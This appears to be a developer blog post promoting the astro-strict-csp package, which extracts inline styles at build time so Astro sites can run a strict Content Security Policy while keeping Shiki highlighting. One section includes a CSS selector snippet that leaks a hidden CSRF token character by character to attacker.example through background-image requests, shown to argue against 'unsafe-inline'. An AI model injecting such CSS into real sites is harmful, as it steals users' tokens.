Whenever I mention my astro-strict-csp package, the first question developers usually ask is: "Wait, doesn't Astro already have built-in security.csp in astro.config.mjs?"
It does—and Astro's native security.csp is actually the exact reason I still needed to build astro-strict-csp.
If you enable Astro's built-in CSP on a real project that uses Markdown code blocks, <Image /> components, or UI islands, your pages immediately break or flood the browser console with Content Security Policy violations. When you check the official Astro documentation for how to fix it, the recommended workarounds are either switching your syntax highlighter from Shiki to Prism, or adding 'unsafe-inline' to style-src.
Here is why Astro's native CSP hits that wall, why switching from Shiki to Prism is a painful downgrade for a technical blog, and how extracting inline styles at build time solves both problems cleanly.
Astro's built-in security.csp does a fine job computing hashes for <script> tags and client hydration shims. Where it runs into a wall is inline style="..." attributes.
To be fair to the Astro team, this limitation comes directly from the W3C Content Security Policy specification itself:
- Browsers only allow CSP hashes and nonces on
<style>blocks:You can whitelist<style>body { color: red; }</style>with a SHA-256 hash or a nonce, but the W3C spec does not allow hashing or noncing an inline HTML attribute like<span style="color: #F97583">(unless you enable'unsafe-hashes'and individually list the hash of every unique attribute string in your HTTP header, which would blow past server header size limits on a single code-heavy page). - Astro emits thousands of inline
style="..."attributes by default:- Shiki (Astro's default syntax highlighter) colors every single code token using inline
<span style="color: #...">attributes. - Astro
<Image />injects inline layout and aspect-ratio styles. - UI Islands (React, Vue, Svelte, Preact) and SVGs frequently emit inline style attributes during server-side rendering.
- Shiki (Astro's default syntax highlighter) colors every single code token using inline
Because Astro's native CSP pipeline doesn't rewrite HTML attributes into external stylesheets, turning on security.csp leaves you with two official options: add 'unsafe-inline' to your style-srcpolicy (which disqualifies you from an A+ on Mozilla HTTP Observatory and triggers warnings in strict security audits), or ditch Shiki for Prism.
To be realistic: if you run a static personal blog with zero logins, zero forms, and no user data, skipping CSP won't get you hacked tomorrow.
However, as soon as an Astro project includes authentication, forms, a headless CMS with rich-text HTML blocks (like EmDash), payment pages, or third-party scripts, leaving 'unsafe-inline' open—even just for styles—creates real problems.
1. CSS Alone Can Leak Server-Rendered Tokens (style-src 'unsafe-inline')
A lot of developers assume that as long as inline JavaScript is blocked (script-src 'self'), allowing 'unsafe-inline' insidestyle-src is harmless because CSS only controls colors and fonts.
While CSS cannot read live keystrokes inside a standard password field unless a framework mirrors them into the DOM attribute, injected CSS canread secrets that the server renders into HTML attributes—like hidden CSRF inputs (<input type="hidden" name="csrf_token" value="...">) or pre-filled profile fields. If your site allows external images (img-src https:), an injected style can brute-force those attributes character by character using standard CSS prefix selectors (^=):
/* If the hidden CSRF token starts with 'a', the browser requests the attacker's URL */
input[name="csrf_token"][value^="a"] {
background-image: url("https://attacker.example/leak?char=a");
}
input[name="csrf_token"][value^="b"] {
background-image: url("https://attacker.example/leak?char=b");
}When the browser paints the page, it evaluates the matching selector and fires off a network request for the background image. And even without data exfiltration, style injection lets an attacker redress the UI—hiding security warnings or floating fake payment links over real buttons.
2. Supply Chain Attacks and Subresource Integrity (polyfill.io)
When the polyfill.io CDN domain was bought by a malicious operator in 2024, over 100,000 websites embedding scripts from it started silently redirecting visitors to scam and betting sites.
Sites relying on plain script tags executed the modified payload immediately. Sites enforcing strict CSP paired with cryptographic Subresource Integrity (integrity="sha384-...") blocked the file at the network layer the moment the file hash changed. And when someone inevitably makes a mistake in a CMS rich-text block or a DOM utility that reads window.location.hash, a strict policy turns a reflected XSS exploit into a harmless console error (Refused to execute inline script).
3. Enterprise Procurement, Mozilla Observatory, and PCI-DSS 4.0
Even if you aren't worried about clever CSS selectors, security auditors and enterprise buyers check these headers mechanically:
- PCI-DSS 4.0 (Sections 6.4.3 and 11.6.1): E-commerce and checkout pages are explicitly required to verify the authorization and integrity of all scripts running in the customer's browser.
- Scanner Grades & Vendor Reviews: When a SaaS team sells to a larger company, the buyer's security team runs Mozilla HTTP Observatory or Google CSP Evaluator against the domain. Putting
'unsafe-inline'inscript-srcdrops your Observatory grade straight to a C/D, and leaving'unsafe-inline'insidestyle-srctriggers thecsp-implemented-with-unsafe-inline-in-style-src-onlyfinding—blocking the extra-credit bonus required to reach an A+ and leaving warnings on the audit report.
When I first read the suggestion to replace Shiki with Prism just to satisfy CSP headers, I looked into what that switch actually costs.
Prism was great when it came out over a decade ago, because it outputs generic CSS classes (<span class="token keyword">) that you style with a single static .css file. However, Astro made Shiki the default highlighter for three very good reasons:
1. VS Code AST Grammars vs. Regex Guessing
Shiki runs the exact same TextMate grammar engine that powers VS Code. It understands nested TypeScript generics (<T extends Record<string, unknown>>), JSX components inside ternary expressions, template literals, and modern languages like Rust, Zig, and Gleam without losing track of the syntax tree.
Prism relies on regular expressions. On modern TypeScript or TSX snippets, regex tokenization regularly confuses generic brackets with HTML tags, miscolors nested string interpolations, and flattens everything into a handful of coarse .token.operator or .token.punctuationclasses.
2. True 24-Bit VS Code Themes vs. Flat 16-Color Sheets
Because Shiki resolves every token against real VS Code theme files (GitHub Dark, Catppuccin, Tokyo Night, One Dark Pro) at build time, it distinguishes between a function declaration, a function call, a type parameter, and a property access—baking the exact hex color into each <span>:
<span style="color: #F97583">import</span>
<span style="color: #79B8FF">defineConfig</span>It also supports dual light/dark mode themes natively using CSS custom properties on those spans. With Prism, you give up VS Code themes completely and have to maintain separate, coarse 16-color stylesheets for light and dark mode by hand.
3. Build-Time vs. Client-Side Payload
In a pure static Astro build, both Shiki and Prism can run at build time with zero client-side JavaScript. However, if you use a CMS or render dynamic Markdown previews on the client, running Prism in the browser means shipping the Prism JS runtime and grammar bundles to the visitor's device and running regex passes on the DOM after page load—introducing layout shifts and extra payload that Shiki's pre-rendered HTML avoids completely.
I didn't want to downgrade my code blocks to Prism, and I didn't want 'unsafe-inline' in my security headers.
The way astro-strict-csp solves this is by letting Shiki, <Image />, and your UI components emit all the inline style="..." attributes they want during the Astro build, and then cleaning them up during the astro:build:done hook:
- Deduplicated Utility Classes: It scans the generated HTML, extracts every
style="color: #F97583"attribute, hashes the normalized CSS rule into a short deterministic class (.is-7f3b1a), and replaces the inlinestyleattribute with that class. - One Tiny External Stylesheet: Across an entire site, tens of thousands of Shiki token spans only use a few dozen unique hex colors. All of them collapse into a single ~3 kB external stylesheet (
/_astro/inline-styles.css). - Full SRI & Header Generation: Every script and stylesheet gets a
sha384Subresource Integrity hash, inline<script>blocks andonclickhandlers are compiled into external.jsbundles, and both<meta>policies and Cloudflare/Netlifydist/_headersare generated with zero'unsafe-inline'.
| Capability | Astro Native security.csp | astro-strict-csp |
|---|---|---|
Inline <script> handling | Hashes / strict-dynamic | Extracts to external .js files + SHA-384 SRI |
Inline style="..." attributes | Not supported (requires 'unsafe-inline') | Extracts into deduplicated .is-[hash] classes in external .css |
| Works with Shiki out of the box | No (requires switching to Prism or 'unsafe-inline') | Yes (keeps Shiki + style-src 'self') |
Inline onclick / event attributes | Blocked by strict CSP | Compiled to delegated data-csp-on-* bundles |
| Subresource Integrity (SRI) | Partial / adapter-dependent | Automatic sha384 hashes on all local JS and CSS |
Cloudflare Pages / Netlify _headers | Adapter-dependent | Generates dist/_headers automatically |
If you hit the Shiki wall when turning on Astro's native CSP, you can dropastro-strict-csp into astro.config.mjs and keep your VS Code syntax highlighting alongside a clean style-src 'self' policy:
npm install astro-strict-csp